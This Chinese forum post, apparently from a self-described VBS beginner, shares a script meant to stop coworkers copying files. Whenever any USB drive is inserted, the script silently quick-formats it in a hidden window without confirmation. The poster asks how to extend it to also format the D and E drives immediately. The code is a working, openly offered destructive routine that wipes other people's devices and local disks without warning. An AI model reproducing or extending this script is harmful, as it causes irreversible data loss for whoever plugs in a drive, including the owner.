朋友给的防止别人复制我本地文件的代码(具体见代码)。因为我平时都是将资料先在本地新建后,然后上传到网盘,然后就会将本地的文件删除掉。最近发现有同事老是动我电脑,我也偶尔会忘记删除掉本地磁盘上的文件。
现在的需求是,在以下的代码上,能不能加上格式化U盘后,同时马上把我的D、E盘也格式化掉(因为我D、E盘平时都不存东西)。
本人VBS菜鸟,做不到修改代码,麻烦论坛上的朋友帮帮忙,别让一些小人把我的资料拷走。谢谢了- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
-
- Set colEvents = objWMIService.ExecNotificationQuery _
- ("Select * From __InstanceOperationEvent Within 5 Where " _
- & "TargetInstance isa 'Win32_LogicalDisk'")
-
- Do While True
- Set objEvent = colEvents.NextEvent
- If objEvent.TargetInstance.DriveType = 2 Then
- Select Case objEvent.Path_.Class
- Case "__InstanceCreationEvent"
- 'U盘插入
- cmd="cmd /c format " & objEvent.TargetInstance.DeviceId & " /FS:fat32 /Q /V:XX /X /Y"
- CreateObject("Wscript.Shell").Run(cmd),0
- Case "__InstanceDeletionEvent"
- 'U盘拔出
- End Select
- End If
- Loop
复制代码
|